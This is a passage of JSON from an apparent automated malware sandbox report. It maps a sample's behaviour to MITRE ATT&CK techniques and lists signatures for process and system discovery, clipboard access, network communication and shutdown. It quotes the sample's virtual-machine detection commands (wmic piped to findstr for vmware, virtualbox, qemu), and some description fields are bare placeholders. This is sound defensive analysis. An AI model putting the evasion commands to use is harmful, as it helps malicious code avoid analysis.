(executable)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve system network configuration"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Contains reference to Mail transfer protocol"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains reference to Windows internet services (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"suspicious","value":"The input file contains long Base64 encoded strings"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"suspicious","value":"Opens a handle to the specified local process"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")\n Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"IcmpSendEcho\" (Indicator: \"IcmpSendEcho\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"Aes\"; File: \"4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343.bin\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$27","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"cmd.exe\" queried SystemProcessInformation at 00000000-00004240-00000C15-2343477768 [PID: 4240]\n \"cmd.exe\" queried SystemProcessInformation at 00000000-00004240-00000C15-2343486447 [PID: 4240]\n \"cmd.exe\" queried SystemProcessInformation at 00000000-00004240-00000C15-2343749125 [PID: 4240]\n \"cmd.exe\" queried SystemProcessInformation at 00000000-00004240-00000C15-2343757751 [PID: 4240]\n \"WMIC.exe\" queried SystemProcessInformation at 00000000-00004456-00000C15-2344449822 [PID: 4456]\n \"WMIC.exe\" queried SystemProcessInformation at 00000000-00004456-00000C15-2344458102 [PID: 4456]\n \"WMIC.exe\" queried SystemProcessInformation at 00000000-00004456-00000C15-2344712253 [PID: 4456]\n \"WMIC.exe\" queried SystemProcessInformation at 00000000-00004456-00000C15-2344720548 [PID: 4456]\n \"WMIC.exe\" queried SystemProcessInformation at 00000000-00004456-00000C15-2345191450 [PID: 4456]\n \"WMIC.exe\" queried SystemProcessInformation at 00000000-00004456-00000C15-2345199375 [PID: 4456]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: The input file contains long Base64 encoded strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: YARA signature match – Encryption algorithm\n Matched sigs: The input file contains long Base64 encoded strings","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to find string content in a file","description":"Found string \"%WINDIR%\\system32\\findstr.exe\" (Source: \"00000000-00004240-00000C47-2116816146\")\n Found string \"findstr /i \"vmware virtualbox qemu xen parallels\"\" (Source: \"00000000-00004240-00000C47-2116816146\")\n Found string \"%WINDIR%\\System32\\findstr.exe\" (Source: \"00000000-00004240-00000BC0-2344067970\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-688","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")\n Found reference to API \"GetUserPreferredUILanguages\" (Indicator: \"GetUserPreferredUILanguages\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"WMIC.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00004456)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00004240)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"cmd.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00004240)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"WMIC.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004456)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$28","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"WMIC.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00004456)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"SELECT * FROM MSFT_CliAlias\" (Indicator: \"select * from \"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")\n Found string \"IWbemServices::ExecQuery(L\"WQL\",L\"SELECT * FROM MSFT_CliAlias\",WBEM_FLAG_FORWARD_ONLY|WBEM_FLAG_RETURN_IMMEDIATELY,NULL, -)\" (Indicator: \"select * from \"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")\n Found string \"SELECT * FROM MSFT_CliTranslateTable\" (Indicator: \"select * from \"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")\n Found string \"IWbemServices::ExecQuery(L\"WQL\",L\"SELECT * FROM MSFT_CliTranslateTable\",WBEM_FLAG_FORWARD_ONLY|WBEM_FLAG_RETURN_IMMEDIATELY,NULL, -)\" (Indicator: \"select * from \"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"WMIC.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"$29","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the current user information","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-432","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00004240-00000C17-2343917445","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"cmd.exe\" queries volume information of \"C:\\\" at 00000000-00004240-00000C17-2343917445","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"External Systems","name":"Sample was identified as clean by Antivirus engines","description":"0/26 Antivirus vendors marked sample as clean (0% detection rate)","origin":"External System","relevance":10,"id":"avtest-1","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"cmd.exe\" called \"CreateProcessW\" with parameter \"wmic computersystem get manufacturer,model\" - (UID: 00000000-00004240)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"findstr /i \"vmware virtualbox qemu xen parallels\"\" - (UID: 00000000-00004240)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"cmd.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00004240)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"\"cmd.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004240)\n \"cmd.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004240)\n \"cmd.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004240)\n \"cmd.exe\" called \"LoadLibrary\" with a parameter kernel32 (UID: 00000000-00004240)\n \"WMIC.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004456)\n \"WMIC.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004456)\n \"WMIC.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004456)\n \"WMIC.exe\" called \"LoadLibrary\" with a parameter kernel32 (UID: 00000000-00004456)\n \"WMIC.exe\" called \"LoadLibrary\" with a parameter amsi.dll (UID: 00000000-00004456)\n \"WMIC.exe\" called \"LoadLibrary\" with a parameter %WINDIR%\\system32\\version.dll (UID: 00000000-00004456)","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2b","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT * FROM MSFT_CliAlias\" (Source: 00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, Indicator: \"select * from msft_clialias\")\n \"SELECT * FROM MSFT_CliTranslateTable\" (Source: 00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, Indicator: \"select * from msft_clitranslatetable\")\n \"SELECT * FROM\" (Source: 00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, Indicator: \"select * from\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"IcmpCreateFile\" (Indicator: \"CreateFile\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")\n Found reference to API \"Icmp6CreateFile\" (Indicator: \"CreateFile\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"User authentication using Basic authentication scheme failed. %n%n Additional Data %n Unexpected error received from LogonUser %1: %%%1.\" (Indicator: \"LogonUser\"; Source: 